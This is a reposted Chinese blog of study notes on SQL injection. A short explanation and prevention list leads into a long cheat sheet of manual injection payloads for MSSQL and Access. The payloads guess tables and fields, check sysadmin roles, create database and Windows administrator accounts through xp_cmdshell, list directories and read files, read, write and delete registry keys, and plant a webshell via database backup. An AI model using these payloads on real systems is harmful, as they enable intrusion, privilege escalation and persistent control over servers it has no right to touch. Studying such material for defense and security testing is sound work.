SQL 注入脚本学习笔记

来源:互联网 发布:域名查询软件西部数码 编辑:程序博客网 时间:2024/05/16 18:23

什么是SQL注入,如何理解

SQL注入是一种将sql代码添加到输入参数中,传递到sql服务器解析并执行的一种攻击手法

exp

xxx.action?id=1   此时可以在id后加入sql语句进行注入xxx.action?id=-1 or 1=1 此时查询的信息就是所有的信息

SQL注入是怎么产生的?

  1. web开发人员无法保证所有的输入都已经过滤
  2. 攻击者利用发送给sql服务器的输入数据构造可执行的sql代码
  3. 数据库未做相应的安全配置

有什么危害?

如何寻找SQL注入漏洞 逻辑推理

  1. 识别web应用中所有输入点 比如说账号,密码登录时
  2. 了解哪些类型的请求会触发异常 比如在sql语句中加入’ 或者 “等特殊字符
  3. 检测服务器响应中的异常地址栏直接传参数 比如爆404 500

SQL注入方式

  1. get请求
  2. post请求
  3. http请求头信息注入

如何进行SQL注入攻击

  1. 数字注入
  2. 字符串注入
1. 数字注入 比如 id=1 此时可以id = 1 or 1=1 则可以查看全部2. 登录中 用户名后面加'# 或者'-- 就是用户名后面的被注释了这样就可以绕过登录

怎样预防SQL注入

  1. 输入变量检查
  2. 特殊字符转义
  3. 预编译处理(数据库自己会处理)

盲注

延时注入是盲注的一种
select * from table where id=1 and sleep(3); //意思是在三秒后执行
现在的网站容错做的好,可能直接输入参数and 1=1 无法判断 进而使用延时注入

全手工SQL注入式脚本整理

说明:脚本整理来源某作者,不记得了…感谢作者!

    1.判断是否有注入;and 1=1 ;and 1=2      2.初步判断是否是mssql ;and user>0  3.注入参数是字符'and [查询条件] and ''='  4.搜索时没过滤参数的'and [查询条件] and '%25'='   5.判断数据库系统   ;and (select count(*) from sysobjects)>0    mssql 数据库系统  ;and (select count(*) from msysobjects)>0   access数据库系统  6.猜数据表名 ;and (select Count(*) from [数据库名])>0   表名...  7.猜字段 ;and (select Count(字段名) from 数据库名)>0  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0  9.字段手工猜测  (1)猜字段的ascii值(access)   ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0   (2)猜字段的ascii值(mssql)   ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0  10.测试权限结构(mssql)   ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--   ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--   ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--   ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--   ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--   ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--   ;and 1=(select IS_MEMBER('db_owner'));--  11.添加mssql和系统的帐户   ;exec master.dbo.sp_addlogin username;--   ;exec master.dbo.sp_password null,username,password;--   ;exec master.dbo.sp_addsrvrolemember sysadmin username;--   ;exec master.dbo.xp_cmdshell 'net user username password   /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--   ;exec master.dbo.xp_cmdshell 'net user username password /add';--   ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--  12.(1)遍历目录   ;create table dirs(paths varchar(100), id int)   ;insert dirs exec master.dbo.xp_dirtree 'c:/'   ;and (select top 1 paths from dirs)>0   ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)   (2)遍历目录   ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--   ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器   ;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表   ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树构   ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的内容  13.mssql中的存储过程   xp_regenumvalues 注册表根键, 子键   ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run' 以多个记录集方式返回所有键值   xp_regread 根键,子键,键值名   ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir' 返回制定键的值   xp_regwrite 根键,子键, 值名, 值类型, 值   值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型   ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName','reg_sz','hello' 写入注册表   xp_regdeletevalue 根键,子键,值名   exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' 删除某个值   xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' 删除键,包括该键下所有值  14.mssql的backup创建webshell   use model   create table cmd(str image);   insert into cmd(str) values ('');   backup database model to disk='c:/amxking.asp';  15.mssql内置函数   ;and (select @@version)>0 获得Windows的版本号   ;and user_name()='dbo' 判断当前系统的连接用户是不是sa   ;and (select user_name())>0 爆当前系统的连接用户   ;and (select db_name())>0 得到当前连接的数据库  16.简洁的webshell   use model   create table cmd(str image);   insert into cmd(str) values ('');   backup database model to disk='g:/wwwtest/amxking.asp';